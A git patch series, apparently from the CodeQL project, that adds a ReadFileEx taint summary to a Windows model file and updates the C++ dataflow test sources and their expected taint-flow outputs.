windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | +| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | windows.cpp:290:20:290:52 | *pMapView | provenance | | +| windows.cpp:290:20:290:52 | *pMapView | windows.cpp:292:10:292:16 | * ... | provenance | | +| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | +| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | windows.cpp:299:20:299:52 | *pMapView | provenance | | +| windows.cpp:299:20:299:52 | *pMapView | windows.cpp:301:10:301:16 | * ... | provenance | | +| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | +| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | windows.cpp:308:20:308:52 | *pMapView | provenance | | +| windows.cpp:308:20:308:52 | *pMapView | windows.cpp:310:10:310:16 | * ... | provenance | | +| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | +| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | windows.cpp:315:20:315:52 | *pMapView | provenance | | +| windows.cpp:315:20:315:52 | *pMapView | windows.cpp:317:10:317:16 | * ... | provenance | | +| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | +| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | windows.cpp:322:20:322:52 | *pMapView | provenance | | +| windows.cpp:322:20:322:52 | *pMapView | windows.cpp:324:10:324:16 | * ... | provenance | | +| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | +| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | windows.cpp:329:20:329:52 | *pMapView | provenance | | +| windows.cpp:329:20:329:52 | *pMapView | windows.cpp:331:10:331:16 | * ... | provenance | | nodes | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | semmle.label | [summary param] *0 in buffer | | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | semmle.label | [summary] to write: ReturnValue in buffer | @@ -127,40 +127,40 @@ nodes | windows.cpp:25:10:25:13 | * ... | semmle.label | * ... | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | | windows.cpp:30:10:30:13 | * ... | semmle.label | * ... | -| windows.cpp:145:35:145:40 | ReadFile output argument | semmle.label | ReadFile output argument | -| windows.cpp:147:10:147:16 | * ... | semmle.label | * ... | -| windows.cpp:154:23:154:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | -| windows.cpp:156:10:156:16 | * ... | semmle.label | * ... | -| windows.cpp:168:84:168:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | -| windows.cpp:170:10:170:16 | * ... | semmle.label | * ... | -| windows.cpp:245:23:245:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | -| windows.cpp:245:23:245:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | -| windows.cpp:246:20:246:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:248:10:248:16 | * ... | semmle.label | * ... | -| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | -| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | -| windows.cpp:253:20:253:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:255:10:255:16 | * ... | semmle.label | * ... | -| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | -| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | -| windows.cpp:262:20:262:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:264:10:264:16 | * ... | semmle.label | * ... | -| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | -| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | -| windows.cpp:271:20:271:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:273:10:273:16 | * ... | semmle.label | * ... | -| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | -| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | -| windows.cpp:278:20:278:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:280:10:280:16 | * ... | semmle.label | * ... | -| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | -| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | -| windows.cpp:285:20:285:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:287:10:287:16 | * ... | semmle.label | * ... | -| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | -| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | -| windows.cpp:292:20:292:52 | *pMapView | semmle.label | *pMapView | -| windows.cpp:294:10:294:16 | * ... | semmle.label | * ... | +| windows.cpp:164:35:164:40 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:166:10:166:16 | * ... | semmle.label | * ... | +| windows.cpp:173:23:173:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | +| windows.cpp:175:10:175:16 | * ... | semmle.label | * ... | +| windows.cpp:205:84:205:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | +| windows.cpp:207:10:207:16 | * ... | semmle.label | * ... | +| windows.cpp:282:23:282:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:282:23:282:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | +| windows.cpp:283:20:283:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:285:10:285:16 | * ... | semmle.label | * ... | +| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | semmle.label | *call to MapViewOfFile2 | +| windows.cpp:290:20:290:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:292:10:292:16 | * ... | semmle.label | * ... | +| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | semmle.label | *call to MapViewOfFile3 | +| windows.cpp:299:20:299:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:301:10:301:16 | * ... | semmle.label | * ... | +| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | semmle.label | *call to MapViewOfFile3FromApp | +| windows.cpp:308:20:308:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:310:10:310:16 | * ... | semmle.label | * ... | +| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | semmle.label | *call to MapViewOfFileEx | +| windows.cpp:315:20:315:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:317:10:317:16 | * ... | semmle.label | * ... | +| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | semmle.label | *call to MapViewOfFileFromApp | +| windows.cpp:322:20:322:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:324:10:324:16 | * ... | semmle.label | * ... | +| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | semmle.label | *call to MapViewOfFileNuma2 | +| windows.cpp:329:20:329:52 | *pMapView | semmle.label | *pMapView | +| windows.cpp:331:10:331:16 | * ... | semmle.label | * ... | subpaths | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | asio_streams.cpp:56:18:56:23 | [summary] to write: ReturnValue in buffer | asio_streams.cpp:100:44:100:62 | call to buffer | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected index f8d2da8a0023..a50ce484e1c0 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/sources.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/sources.expected @@ -3,13 +3,17 @@ | windows.cpp:11:15:11:29 | *call to GetCommandLineA | local | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | local | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | local | -| windows.cpp:145:35:145:40 | ReadFile output argument | local | -| windows.cpp:154:23:154:28 | ReadFileEx output argument | local | -| windows.cpp:168:84:168:89 | NtReadFile output argument | local | -| windows.cpp:245:23:245:35 | *call to MapViewOfFile | local | -| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | local | -| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | local | -| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | local | -| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | local | -| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | local | -| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | local | +| windows.cpp:164:35:164:40 | ReadFile output argument | local | +| windows.cpp:173:23:173:28 | ReadFileEx output argument | local | +| windows.cpp:185:21:185:26 | ReadFile output argument | local | +| windows.cpp:188:23:188:29 | ReadFileEx output argument | local | +| windows.cpp:194:21:194:26 | ReadFile output argument | local | +| windows.cpp:197:23:197:29 | ReadFileEx output argument | local | +| windows.cpp:205:84:205:89 | NtReadFile output argument | local | +| windows.cpp:282:23:282:35 | *call to MapViewOfFile | local | +| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | local | +| windows.cpp:298:23:298:36 | *call to MapViewOfFile3 | local | +| windows.cpp:307:23:307:43 | *call to MapViewOfFile3FromApp | local | +| windows.cpp:314:23:314:37 | *call to MapViewOfFileEx | local | +| windows.cpp:321:23:321:42 | *call to MapViewOfFileFromApp | local | +| windows.cpp:328:23:328:40 | *call to MapViewOfFileNuma2 | local | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp index 382f534dde88..eb08d9d350ac 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -137,6 +137,25 @@ void FileIOCompletionRoutine( sink(*buffer); // $ MISSING: ir } +void FileIOCompletionRoutine2( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char* buffer = reinterpret_cast(lpOverlapped->hEvent); + sink(buffer); + sink(*buffer); // $ MISSING: ir +} + +void FileIOCompletionRoutine3( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char c = reinterpret_cast(lpOverlapped->hEvent); + sink(c); // $ MISSING: ir +} + void readFile(HANDLE hFile) { { char buffer[1024]; @@ -159,6 +178,24 @@ void readFile(HANDLE hFile) { sink(p); sink(*p); // $ MISSING: ir } + + { + char buffer[1024]; + OVERLAPPED overlapped; + ReadFile(hFile, buffer, sizeof(buffer), nullptr, nullptr); + overlapped.hEvent = reinterpret_cast(buffer); + char buffer2[1024]; + ReadFileEx(hFile, buffer2, sizeof(buffer2) - 1, &overlapped, FileIOCompletionRoutine2); + } + + { + char buffer[1024]; + OVERLAPPED overlapped; + ReadFile(hFile, buffer, sizeof(buffer), nullptr, nullptr); + overlapped.hEvent = reinterpret_cast(*buffer); + char buffer2[1024]; + ReadFileEx(hFile, buffer2, sizeof(buffer2) - 1, &overlapped, FileIOCompletionRoutine3); + } { char buffer[1024]; From 76c2d24a7ef427282492df98dea2234c50174496 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 12:09:19 +0100 Subject: [PATCH 407/535] C++: Add summary for ReadFileEx and accept test changes. --- cpp/ql/lib/ext/Windows.model.yml | 2 + .../dataflow/external-models/flow.expected | 78 ++++++++++++++++--- .../external-models/validatemodels.expected | 4 + .../dataflow/external-models/windows.cpp | 4 +- 4 files changed, 74 insertions(+), 14 deletions(-) diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index 3dcde03f9a1b..8bfb3f48b918 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -31,3 +31,5 @@ extensions: # shellapi.h - ["", "", False, "CommandLineToArgvA", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] - ["", "", False, "CommandLineToArgvW", "", "", "Argument[*0]", "ReturnValue[**]", "taint", "manual"] + # fileapi.h + - ["", "", False, "ReadFileEx", "", "", "Argument[*3].Field[@hEvent]", "Argument[4].Parameter[*2].Field[@hEvent]", "value", "manual"] \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 0560a4da8659..4f333d4c36f5 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,31 +10,31 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23507 | -| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23508 | -| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23509 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23508 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23509 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23510 | | test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | | test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23505 | -| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23506 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23506 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23507 | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | | test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | | test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | -| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23506 | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23507 | | test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | -| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23507 | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23508 | | test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | -| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23506 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23507 | | test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | -| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23508 | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23509 | | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | -| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23506 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23507 | | test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | -| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23509 | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23510 | | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | -| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23506 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23507 | | test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | | test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | | windows.cpp:6:8:6:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:6:8:6:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:341 | @@ -48,8 +48,35 @@ edges | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:25:10:25:13 | * ... | provenance | | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | windows.cpp:30:10:30:13 | * ... | provenance | Src:MaD:329 | +| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | provenance | | +| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | provenance | | +| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | provenance | MaD:343 | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | provenance | | +| windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | provenance | | +| windows.cpp:145:18:145:62 | *hEvent | windows.cpp:145:18:145:62 | *hEvent | provenance | | +| windows.cpp:145:18:145:62 | *hEvent | windows.cpp:147:8:147:14 | * ... | provenance | | +| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | windows.cpp:145:18:145:62 | *hEvent | provenance | | +| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | windows.cpp:145:56:145:61 | *hEvent | provenance | | +| windows.cpp:145:56:145:61 | *hEvent | windows.cpp:145:18:145:62 | *hEvent | provenance | | +| windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | provenance | | +| windows.cpp:155:12:155:55 | hEvent | windows.cpp:155:12:155:55 | hEvent | provenance | | +| windows.cpp:155:12:155:55 | hEvent | windows.cpp:156:8:156:8 | c | provenance | | +| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | windows.cpp:155:12:155:55 | hEvent | provenance | | +| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | windows.cpp:155:12:155:55 | hEvent | provenance | | | windows.cpp:164:35:164:40 | ReadFile output argument | windows.cpp:166:10:166:16 | * ... | provenance | Src:MaD:331 | | windows.cpp:173:23:173:28 | ReadFileEx output argument | windows.cpp:175:10:175:16 | * ... | provenance | Src:MaD:332 | +| windows.cpp:185:21:185:26 | ReadFile output argument | windows.cpp:186:5:186:56 | *... = ... | provenance | Src:MaD:331 | +| windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | windows.cpp:188:53:188:63 | *& ... [*hEvent] | provenance | | +| windows.cpp:186:5:186:56 | *... = ... | windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | provenance | | +| windows.cpp:188:53:188:63 | *& ... [*hEvent] | windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | provenance | | +| windows.cpp:194:21:194:26 | ReadFile output argument | windows.cpp:195:5:195:57 | ... = ... | provenance | Src:MaD:331 | +| windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | windows.cpp:197:53:197:63 | *& ... [hEvent] | provenance | | +| windows.cpp:195:5:195:57 | ... = ... | windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | provenance | | +| windows.cpp:197:53:197:63 | *& ... [hEvent] | windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | provenance | | | windows.cpp:205:84:205:89 | NtReadFile output argument | windows.cpp:207:10:207:16 | * ... | provenance | Src:MaD:340 | | windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:282:23:282:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | | windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:283:20:283:52 | *pMapView | provenance | | @@ -127,10 +154,37 @@ nodes | windows.cpp:25:10:25:13 | * ... | semmle.label | * ... | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | semmle.label | GetEnvironmentVariableA output argument | | windows.cpp:30:10:30:13 | * ... | semmle.label | * ... | +| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [*hEvent] | semmle.label | [summary param] *3 in ReadFileEx [*hEvent] | +| windows.cpp:86:6:86:15 | [summary param] *3 in ReadFileEx [hEvent] | semmle.label | [summary param] *3 in ReadFileEx [hEvent] | +| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[*hEvent] in ReadFileEx | +| windows.cpp:86:6:86:15 | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | semmle.label | [summary] read: Argument[*3].Field[hEvent] in ReadFileEx | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [*hEvent] | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | semmle.label | [summary] to write: Argument[4].Parameter[*2] in ReadFileEx [hEvent] | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[*hEvent] in ReadFileEx | +| windows.cpp:86:6:86:15 | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | semmle.label | [summary] to write: Argument[4].Parameter[*2].Field[hEvent] in ReadFileEx | +| windows.cpp:143:16:143:27 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:145:18:145:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:145:18:145:62 | *hEvent | semmle.label | *hEvent | +| windows.cpp:145:42:145:53 | *lpOverlapped [*hEvent] | semmle.label | *lpOverlapped [*hEvent] | +| windows.cpp:145:56:145:61 | *hEvent | semmle.label | *hEvent | +| windows.cpp:147:8:147:14 | * ... | semmle.label | * ... | +| windows.cpp:153:16:153:27 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:155:12:155:55 | hEvent | semmle.label | hEvent | +| windows.cpp:155:12:155:55 | hEvent | semmle.label | hEvent | +| windows.cpp:155:35:155:46 | *lpOverlapped [hEvent] | semmle.label | *lpOverlapped [hEvent] | +| windows.cpp:156:8:156:8 | c | semmle.label | c | | windows.cpp:164:35:164:40 | ReadFile output argument | semmle.label | ReadFile output argument | | windows.cpp:166:10:166:16 | * ... | semmle.label | * ... | | windows.cpp:173:23:173:28 | ReadFileEx output argument | semmle.label | ReadFileEx output argument | | windows.cpp:175:10:175:16 | * ... | semmle.label | * ... | +| windows.cpp:185:21:185:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:186:5:186:14 | *overlapped [post update] [*hEvent] | semmle.label | *overlapped [post update] [*hEvent] | +| windows.cpp:186:5:186:56 | *... = ... | semmle.label | *... = ... | +| windows.cpp:188:53:188:63 | *& ... [*hEvent] | semmle.label | *& ... [*hEvent] | +| windows.cpp:194:21:194:26 | ReadFile output argument | semmle.label | ReadFile output argument | +| windows.cpp:195:5:195:14 | *overlapped [post update] [hEvent] | semmle.label | *overlapped [post update] [hEvent] | +| windows.cpp:195:5:195:57 | ... = ... | semmle.label | ... = ... | +| windows.cpp:197:53:197:63 | *& ... [hEvent] | semmle.label | *& ... [hEvent] | | windows.cpp:205:84:205:89 | NtReadFile output argument | semmle.label | NtReadFile output argument | | windows.cpp:207:10:207:16 | * ... | semmle.label | * ... | | windows.cpp:282:23:282:35 | *call to MapViewOfFile | semmle.label | *call to MapViewOfFile | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected index ff5ad36e15cf..a1511035d9e5 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/validatemodels.expected @@ -3771,3 +3771,7 @@ | Dubious signature "(wchar_t *)" in summary model. | | Dubious signature "(wchar_t, const CStringT &)" in summary model. | | Dubious signature "(wchar_t,const CStringT &)" in summary model. | +| Unrecognized input specification "Field[****hEvent]" in summary model. | +| Unrecognized input specification "Field[***hEvent]" in summary model. | +| Unrecognized output specification "Field[****hEvent]" in summary model. | +| Unrecognized output specification "Field[***hEvent]" in summary model. | diff --git a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp index eb08d9d350ac..3d45afc6609d 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp +++ b/cpp/ql/test/library-tests/dataflow/external-models/windows.cpp @@ -144,7 +144,7 @@ void FileIOCompletionRoutine2( ) { char* buffer = reinterpret_cast(lpOverlapped->hEvent); sink(buffer); - sink(*buffer); // $ MISSING: ir + sink(*buffer); // $ ir } void FileIOCompletionRoutine3( @@ -153,7 +153,7 @@ void FileIOCompletionRoutine3( LPOVERLAPPED 